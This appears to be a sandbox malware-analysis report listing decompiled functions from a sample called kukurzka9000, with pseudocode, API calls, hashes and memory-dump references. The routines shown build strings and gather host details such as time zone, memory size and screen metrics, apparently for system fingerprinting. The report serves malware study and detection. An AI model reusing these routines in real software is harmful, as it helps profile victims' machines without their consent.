Opcode ID: 6b0006650763f32028c04d1d8b65d76126bb1431ea6ad44ba0a84cd2c8da19fe
Instruction ID: d8d1b32e1b84514ad2d4dcfda51e148155a232964cd85be2dcbf4c2f41c86c48
Opcode Fuzzy Hash: 6b0006650763f32028c04d1d8b65d76126bb1431ea6ad44ba0a84cd2c8da19fe
Instruction Fuzzy Hash: 83F0C8B1200214AFF3009BA6AD89E6777ACEB88724F004435F749B7290CAB46C20866D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2AA Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 117
memoryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E0040A2AA(intOrPtr __ecx, intOrPtr* __edx, intOrPtr _a4) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _t25;
				void* _t29;
				void* _t30;
				void* _t39;
				void* _t47;
				void* _t52;
				intOrPtr _t54;
				void* _t70;
				void* _t77;
				intOrPtr* _t80;
				void* _t82;
				intOrPtr* _t83;
				signed int _t85;

				_t25 =  *0x40e1b8; // 0x837b68
				_v12 = _t25;
				_v20 = __edx;
				_v16 = __ecx;
				_t29 = LocalAlloc(0x40, 0x100 +  *((intOrPtr*)( *0x40e08c))(__ecx) * 2);
				_t54 = _v16;
				_t52 = _t29;
				_t30 = 2;
				_t76 =  ==  ? _t30 : 0;
				_t77 = ( ==  ? _t30 : 0) + _t54;
				if(_t77 != 0) {
					do {
						_t39 = LocalAlloc(0x40, 0x100 +  *((intOrPtr*)( *0x40e08c))(_t54) * 2);
						_v8 = _t39;
						_t82 =  *((intOrPtr*)( *0x40e18c))(_t77,  *0x40e258);
						if(_t82 == 0) {
							if(_a4 == 0) {
								_push(_t77);
								if(E0040A3E4(_t77,  &_v8, 0,  *((intOrPtr*)( *0x40e08c))()) != 0) {
									_t47 = E0040A503(_t52, _v12);
									_t70 = _v8;
									goto L9;
								}
							} else {
								_t47 = E0040A503(_t52, _v12);
								_t70 = _a4;
								L9:
								_t52 = E0040A503(_t47, _t70);
							}
							_t83 = _v20;
							 *_t83 =  *((intOrPtr*)( *0x40e13c))( *_t83, _t52);
							_t77 = 0;
						} else {
							_t85 = _t82 - _t77 >> 1;
							if(E0040A3E4(_t77,  &_v8, 0, _t85) != 0) {
								_t52 = E0040A503(E0040A503(_t52, _v12), _v8);
							}
							_t77 = _t77 + _t85 * 2 + 2;
						}
						LocalFree(_v8);
						_t54 = _v16;
					} while (_t77 != 0);
				}
				_t80 = _v20;
				 *_t80 =  *((intOrPtr*)( *0x40e13c))( *_t80, _t52);
				LocalFree(_t52);
				return 1;
			}

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,?), ref: 0040A2D9
LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,?), ref: 0040A30C
LocalFree.KERNEL32(?,?,00000000,00000000,?), ref: 0040A3B5

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,?,00000000,00000000,?), ref: 0040A3D6

Strings

pXqt, xrefs: 0040A3B5, 0040A3D6

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$Global
String ID: pXqt
API String ID: 2107727554-1234763034
Opcode ID: f075e1c407a2bf6e50d5205a2f9a31135d687d93ab644a6ad8db2f955380cc72
Instruction ID: 8d9fe808253cfd760579b52592682b105d53dbc0a4ab2c38afac3778b4664aea
Opcode Fuzzy Hash: f075e1c407a2bf6e50d5205a2f9a31135d687d93ab644a6ad8db2f955380cc72
Instruction Fuzzy Hash: 5A419572A00314EFDB14DFA5DD81AAE77B5EB88310F10497AE941B7390DBB89D20CB95

Uniqueness

Uniqueness Score: -1.00%

Function 025458B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI(00000000,?,?), ref: 02545950
LocalFree.KERNEL32(00000000,?,?), ref: 0254596A
FindClose.KERNEL32(00000000), ref: 02545985

Strings

pXqt, xrefs: 0254596A

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: CloseCombineFindFreeLocalPath
String ID: pXqt
API String ID: 2857355001-1234763034
Opcode ID: 56b1df39dbae194d889f4e9502efc4fd47014f49f1f32aee509a4732f5f3c9b0
Instruction ID: 9f4834af62c27009db50d7fa3d92e5e823780cd5d5ed712e7a0813d0d447a1f0
Opcode Fuzzy Hash: 56b1df39dbae194d889f4e9502efc4fd47014f49f1f32aee509a4732f5f3c9b0
Instruction Fuzzy Hash: FA310472108316AFD714EB24DC84EBFB3A9BB84328F004D2DF96593290EF31A915CB59

Uniqueness

Uniqueness Score: -1.00%

Function 02540CF3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(?,00000000), ref: 02540D4F
LocalFree.KERNEL32(00000000,?,00000000,?,?,40000001,00000000,00000000,?,?,40000001,00000000,00000000), ref: 02540D56
LocalFree.KERNEL32(00000000,?,?,40000001,00000000,00000000,?,?,40000001,00000000,00000000), ref: 02540D61

Strings

pXqt, xrefs: 02540D56, 02540D61

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID: pXqt
API String ID: 2826327444-1234763034
Opcode ID: af2a643a322c620d98a535cd9c71554de113ed27803ffe39f131d2213ba6c728
Instruction ID: 956e4d8f9cf7153c3102188b028c8b4f45870d230113445cee2741385d2454bd
Opcode Fuzzy Hash: af2a643a322c620d98a535cd9c71554de113ed27803ffe39f131d2213ba6c728
Instruction Fuzzy Hash: 1401D472200115FBEB288BA6DD84FAABBACEF48358F100820F605E7150DBB1ED10C678

Uniqueness

Uniqueness Score: -1.00%

Function 00409265 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00409265(intOrPtr* _a4) {
				void* _t18;
				intOrPtr* _t21;

				_push(0);
				_push(0);
				_t20 = 1;
				if( *((intOrPtr*)( *0x40e10c))() == 0) {
					GetLastError();
					_t20 =  ==  ? 0 : 1;
				}
				_t18 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_t1 = _t20 + 1; // 0x2
				wsprintfW(_t18,  *0x40e2e4, _t1 << 5);
				_t21 = _a4;
				 *_t21 = E0040A503( *_t21, _t18);
				LocalFree(_t18);
				return 1;
			}

0x0040926f
0x00409273
0x00409275
0x0040927a
0x0040927c
0x00409287
0x00409287
0x00409298
0x0040929a
0x004092a8
0x004092ae
0x004092be
0x004092c0
0x004092cc

APIs

GetLastError.KERNEL32(?,00409A6B,00000000,00000000,00000000,00000000), ref: 0040927C
wsprintfW.USER32 ref: 004092A8
LocalFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004092C0

Strings

pXqt, xrefs: 004092C0

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: ErrorFreeLastLocalwsprintf
String ID: pXqt
API String ID: 1841941599-1234763034
Opcode ID: 61c74038a4c9bce772878d69340abaaaaec3cd88705967fe1fdac89ad50af943
Instruction ID: 0b687450064c760a884eb7835e75b8405e51eba9b0f5ac012d2d402204ee40d7
Opcode Fuzzy Hash: 61c74038a4c9bce772878d69340abaaaaec3cd88705967fe1fdac89ad50af943
Instruction Fuzzy Hash: 50F0F6712002206BD7109BAAED49F1BB7E8EB84710F00483AFA15E7290DAB099218B9D

Uniqueness

Uniqueness Score: -1.00%

Function 025487D9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,02548FDF,00000000,00000000,00000000,00000000), ref: 025487F0
wsprintfW.USER32 ref: 0254881C
LocalFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,02547092), ref: 02548834

Strings

pXqt, xrefs: 02548834

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: ErrorFreeLastLocalwsprintf
String ID: pXqt
API String ID: 1841941599-1234763034
Opcode ID: 39e78de9c2088751e3ac43fba03060a7497b8e379ff188893502746336a2731c
Instruction ID: 3c9342b0774631d8b30089fa675ef848aff11d6ab04e400f5e525055cf23b3f0
Opcode Fuzzy Hash: 39e78de9c2088751e3ac43fba03060a7497b8e379ff188893502746336a2731c
Instruction Fuzzy Hash: 54F096722002215BD7109BAADD4AF1BB7E9EB84750F104836F755E7250DEB0D5118B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040919C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040919C(intOrPtr* _a4) {
				struct _TIME_ZONE_INFORMATION _v176;
				void* _t8;
				void* _t20;
				intOrPtr* _t21;

				GetTimeZoneInformation( &_v176);
				_t20 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_push( ~(_v176.Bias));
				_t8 = 0x2b;
				_t15 =  >  ? _t8 : 0;
				wsprintfW(_t20,  *0x40e2f4,  >  ? _t8 : 0);
				_t21 = _a4;
				 *_t21 = E0040A503( *_t21, _t20);
				LocalFree(_t20);
				return 1;
			}

0x004091ae
0x004091cc
0x004091ce
0x004091d1
0x004091d4
0x004091df
0x004091e5
0x004091f5
0x004091f7
0x00409203

APIs

GetTimeZoneInformation.KERNEL32(?,-00000014,74715850), ref: 004091AE
wsprintfW.USER32 ref: 004091DF

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 004091F7

Strings

pXqt, xrefs: 004091F7

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Freelstrlen$GlobalInformationLocalTimeZonewsprintf
String ID: pXqt
API String ID: 184722451-1234763034
Opcode ID: 2d64fd953e2079bb0131af5d72d69c5c3290959d80b8fbaa26ba35f8ce1fb5e5
Instruction ID: 22640a5e82af922e2c0672ad49884a71deb67002d2383c126f26ce4509f9bf47
Opcode Fuzzy Hash: 2d64fd953e2079bb0131af5d72d69c5c3290959d80b8fbaa26ba35f8ce1fb5e5
Instruction Fuzzy Hash: 2FF096B1700210AFF714AB6AED05F6BB7F9EFC9710F008839FA46E7150D6B499118A69

Uniqueness

Uniqueness Score: -1.00%

Function 02548710 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,-00000014,0040E044), ref: 02548722
wsprintfW.USER32 ref: 02548753

Part of subcall function 02549A77: GlobalFree.KERNEL32(02541F22), ref: 02549AC4

LocalFree.KERNEL32(00000000), ref: 0254876B

Strings

pXqt, xrefs: 0254876B

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Free$GlobalInformationLocalTimeZonewsprintf
String ID: pXqt
API String ID: 2962336667-1234763034
Opcode ID: 2ce0da1acc3758be5041b8d15ea4536ab3a5399006eb78e8167eb4b8e07620a5
Instruction ID: 143b65b2ff689bbaa95b4b67327661664babe99f32372fb503fdd31754f99b68
Opcode Fuzzy Hash: 2ce0da1acc3758be5041b8d15ea4536ab3a5399006eb78e8167eb4b8e07620a5
Instruction Fuzzy Hash: EDF09C71700210AFF714AB65DD05F7BB7F9EFC5710F008879F646E7150D57099118A65

Uniqueness

Uniqueness Score: -1.00%

Function 025459DC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?), ref: 02545ACF
LocalFree.KERNEL32(00000000), ref: 02545AE9
LocalFree.KERNEL32(?), ref: 02545B3E

Strings

pXqt, xrefs: 02545AE9, 02545B3E

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$ByteCharMultiWide
String ID: pXqt
API String ID: 1839797009-1234763034
Opcode ID: df6aafc65f9139ff203c29d94f7da2d3df286550dae747009e72aef9e32236be
Instruction ID: bcd9b489c64852692e0de2058f81ec4226bb81e8cc4389345c415e49cd7e0dd1
Opcode Fuzzy Hash: df6aafc65f9139ff203c29d94f7da2d3df286550dae747009e72aef9e32236be
Instruction Fuzzy Hash: 38416DB1A00215AFEB14CBA6DD81FBEBBB8EF88710F104429F605F7290DB745911CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409498 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00409517
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00409546

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 0040956F

Strings

pXqt, xrefs: 00409546, 0040956F

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Freelstrlen$Local$Global
String ID: pXqt
API String ID: 3528464136-1234763034
Opcode ID: f888b3dfec9be0e9616b7d9d0a221dccdfdd0719e878ec4084107cc7add3ab46
Instruction ID: 82c85e4b8355b08b61bbd5904165d64d2f3f4985be938a61cd8515a488971c1f
Opcode Fuzzy Hash: f888b3dfec9be0e9616b7d9d0a221dccdfdd0719e878ec4084107cc7add3ab46
Instruction Fuzzy Hash: CA21A1B1500211AFE314DF66DD84D2BB7ECEBC8720F00883DF954A72A0E674AD158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408A42 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00408A42(void* _a4, char _a8) {
				signed int _t8;
				void* _t10;
				void* _t20;
				signed int _t22;
				signed int _t24;
				signed int _t29;
				void* _t30;
				void* _t31;
				intOrPtr* _t33;

				_t22 = 0;
				_t8 =  *((intOrPtr*)( *0x40e18c))(_a4,  *0x40e2d0);
				_t29 = _t8;
				if(_t29 != 0) {
					_t30 = _t29 + 0x10;
					_t10 =  *((intOrPtr*)( *0x40e18c))(_t30,  *0x40e1f0);
					if(_t10 == 0) {
						L5:
						_a4 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t30, _t31) + _t12);
						if(E0040A3E4(_t30,  &_a4, 0, _t22) != 0) {
							_t4 =  &_a8; // 0x407be3
							_t33 =  *_t4;
							 *_t33 =  *((intOrPtr*)( *0x40e13c))( *_t33, _a4);
						} else {
							_push(0xfffffffd);
							_pop(1);
						}
						LocalFree(_a4);
						return 1;
					}
					_t24 = _t10 - _t30;
					_t22 = _t24 >> 1;
					if(_t24 >= 0) {
						goto L5;
					}
					_t20 = 0xfffffffe;
					return _t20;
				}
				return _t8 | 0xffffffff;
			}

0x00408a52
0x00408a57
0x00408a59
0x00408a5d
0x00408a6f
0x00408a73
0x00408a77
0x00408a86
0x00408aa2
0x00408ab0
0x00408ab7
0x00408ab7
0x00408ac6
0x00408ab2
0x00408ab2
0x00408ab4
0x00408ab4
0x00408ace
0x00000000
0x00408ad6
0x00408a7b
0x00408a7d
0x00408a7f
0x00000000
0x00000000
0x00408a83
0x00000000
0x00408a83
0x00000000

Strings

pXqt, xrefs: 00408ACE
{@, xrefs: 00408AB7, 00408AC2

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID:
String ID: pXqt${@
API String ID: 0-2695737018
Opcode ID: 255823ef086db5813c22c978924e906316e0a6f5fbde3c262ce37af4251633b4
Instruction ID: 8d5eba686dcfbb8260fa6a6421df57112b72329cd8ad35a8f669febc4932704e
Opcode Fuzzy Hash: 255823ef086db5813c22c978924e906316e0a6f5fbde3c262ce37af4251633b4
Instruction Fuzzy Hash: 62110D32300214BFDB018F69DE40D6A3BA5EB88370B144537FA54F72E0DE749C119BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3E4 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 50
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040A3E4(intOrPtr __ecx, intOrPtr* __edx, signed int _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* _t18;
				void _t25;
				void* _t26;
				intOrPtr* _t27;
				intOrPtr _t29;
				signed int _t31;
				void* _t33;
				void* _t34;
				signed int _t35;
				void* _t37;
				void* _t39;

				_t27 = __edx;
				_v12 = __edx;
				_v8 = __ecx;
				_t18 = LocalAlloc(0x40, 0x80 +  *((intOrPtr*)( *0x40e08c))(__ecx, _t34, _t37, _t26, __ecx, __ecx) * 2);
				_t31 = _a4;
				_t39 = _t18;
				_t35 = _a8;
				if(_t31 < _t35) {
					_t29 = _v8;
					_t33 = _t39;
					do {
						_t25 =  *((intOrPtr*)(_t29 + _t31 * 2));
						_t31 = _t31 + 1;
						 *_t33 = _t25;
						_t33 = _t33 + 2;
					} while (_t31 < _t35);
					_t27 = _v12;
				}
				 *((short*)(_t39 + 2 + _t35 * 2)) = 0;
				 *_t27 =  *((intOrPtr*)( *0x40e13c))( *_t27, _t39);
				if(_t39 != 0) {
					LocalFree(_t39);
				}
				return 1;
			}

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

Strings

y@, xrefs: 0040A434
pXqt, xrefs: 0040A449

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID: pXqt$y@
API String ID: 2012307162-2459683896
Opcode ID: 4474e2624ff501794f5b6952b0a2c85f8b148a46dd5bd5a8f3d68c93b8c9b259
Instruction ID: f3cb8fed4fc86e8926e4ae745f77bd99f1ad2e4c346b1d96af304dd36abb34b3
Opcode Fuzzy Hash: 4474e2624ff501794f5b6952b0a2c85f8b148a46dd5bd5a8f3d68c93b8c9b259
Instruction Fuzzy Hash: 8501D475610224AFDB15CF99DC80DAE77F9EF8C720B10856AE905E7310E770AD11CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A457 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040A457(char __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr* _v12;
				void* _t14;
				void* _t21;
				intOrPtr* _t22;
				intOrPtr _t24;
				intOrPtr _t26;
				void* _t29;
				void* _t30;
				intOrPtr _t31;
				void* _t33;
				void* _t35;

				_t22 = __edx;
				_v12 = __edx;
				_v8 = __ecx;
				_t14 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e198))(__ecx, _t30, _t33, _t21, __ecx, __ecx) + 0x40);
				_t26 = _a4;
				_t35 = _t14;
				_t31 = _a8;
				if(_t26 < _t31) {
					_t5 =  &_v8; // 0x406f4f
					_t24 =  *_t5;
					_t29 = _t35 - _t26;
					do {
						 *((char*)(_t29 + _t26)) =  *((intOrPtr*)(_t26 + _t24));
						_t26 = _t26 + 1;
					} while (_t26 < _t31);
					_t22 = _v12;
				}
				 *((char*)(_t35 + _t31 + 1)) = 0;
				 *_t22 =  *((intOrPtr*)( *0x40e050))( *_t22, _t35);
				if(_t35 != 0) {
					LocalFree(_t35);
				}
				return 1;
			}

0x0040a469
0x0040a46d
0x0040a470
0x0040a47b
0x0040a47d
0x0040a480
0x0040a482
0x0040a487
0x0040a489
0x0040a489
0x0040a48e
0x0040a490
0x0040a493
0x0040a496
0x0040a497
0x0040a49b
0x0040a49b
0x0040a4a6
0x0040a4ad
0x0040a4b1
0x0040a4b4
0x0040a4b4
0x0040a4c1

APIs

LocalAlloc.KERNEL32(00000040,-00000040,?,00406F4F,00000000), ref: 0040A47B
LocalFree.KERNEL32(00000000,00406F4F,00000000), ref: 0040A4B4

Strings

pXqt, xrefs: 0040A4B4
Oo@, xrefs: 0040A489

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID: Oo@$pXqt
API String ID: 2012307162-3148124810
Opcode ID: e0af48a418b7598e3cbf6c1ac09c0b31020e59559928c2411f0180abe491ed61
Instruction ID: 5b8de7bcfa6d1d8a957f95a4a74ef6cb880f43f11ca786fae3c3bbd8513ebd6a
Opcode Fuzzy Hash: e0af48a418b7598e3cbf6c1ac09c0b31020e59559928c2411f0180abe491ed61
Instruction Fuzzy Hash: EE01F271A04220AFD715CFAADC80AAA7FE9EF8A320B14446DE648E7301C270AD0187A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040942A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040942A(intOrPtr* _a4) {
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t11;
				void* _t27;
				void* _t28;
				intOrPtr _t30;
				intOrPtr* _t31;

				_t30 = 0x40;
				_v68 = _t30;
				_t11 =  *((intOrPtr*)( *0x40e02c))( &_v68);
				if(_t11 != 0) {
					_t28 =  *((intOrPtr*)( *0x40e044))(_t30, 0x400, _t27);
					wsprintfW(_t28,  *0x40e290, (_v56 << 0x00000020 | _v60) >> 0x14, _v56 >> 0x14);
					_t31 = _a4;
					 *_t31 = E0040A503( *_t31, _t28);
					LocalFree(_t28);
					return 1;
				}
				return _t11 | 0xffffffff;
			}

0x0040943b
0x0040943d
0x00409440
0x00409444
0x0040945c
0x00409471
0x00409477
0x00409487
0x00409489
0x00000000
0x00409492
0x00000000

APIs

wsprintfW.USER32 ref: 00409471
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00409A7D,00000000), ref: 00409489

Strings

pXqt, xrefs: 00409489

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocalwsprintf
String ID: pXqt
API String ID: 988369812-1234763034
Opcode ID: 74b29ddea5bb53726f524591325f7cb1bfeb28a979157633f456ffd460b72521
Instruction ID: 691c7a2968302921ddf9a2c3bc51e1d1d0e2bb0df5734c172083d1d357432de7
Opcode Fuzzy Hash: 74b29ddea5bb53726f524591325f7cb1bfeb28a979157633f456ffd460b72521
Instruction Fuzzy Hash: 6501D671A00114ABD700DF6AEC04E6FBBB9EB84324B00453DF616F7291D6749912C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0254899E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 025489E5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,02548FF1,00000000), ref: 025489FD

Strings

pXqt, xrefs: 025489FD

Memory Dump Source

Source File: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_2540000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocalwsprintf
String ID: pXqt
API String ID: 988369812-1234763034
Opcode ID: 3d3ee9e39cbad5d7baf97f18bd1515f05ce169efab988a665b2b1dba638ea594
Instruction ID: bb3fa6e98d7a09116df7ab24fad4db1aa3d0baf035c30949c1bb637b57789c8d
Opcode Fuzzy Hash: 3d3ee9e39cbad5d7baf97f18bd1515f05ce169efab988a665b2b1dba638ea594
Instruction Fuzzy Hash: 4301D671A00114ABD7009F6ADC05E6EBBB9EBC4358F004529F616E3290DB74A811C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00409206 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00409206(void* __eflags, intOrPtr* _a4) {
				void* _t4;
				void* _t11;
				intOrPtr* _t18;

				_t11 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				_t4 =  *((intOrPtr*)( *0x40e048))(1);
				wsprintfW(_t11,  *0x40e2c0,  *((intOrPtr*)( *0x40e048))(0), _t4);
				_t18 = _a4;
				 *_t18 = E0040A503( *_t18, _t11);
				LocalFree(_t11);
				return 1;
			}

0x00409220
0x0040922a
0x00409241
0x00409243
0x00409253
0x00409255
0x00409262

APIs

wsprintfW.USER32 ref: 00409241

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00409255

Strings

pXqt, xrefs: 00409255

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Freelstrlen$GlobalLocalwsprintf
String ID: pXqt
API String ID: 1776337052-1234763034
Opcode ID: a6f02408b57bb6edfa2692ba9a76c35bd721593c26e6cd395b4a707bb71862a4
Instruction ID: 61e08027baa078e2c9e7ece4edbf44c952e7995c37b9d281c560d8a8dceb99a7
Opcode Fuzzy Hash: a6f02408b57bb6edfa2692ba9a76c35bd721593c26e6cd395b4a707bb71862a4
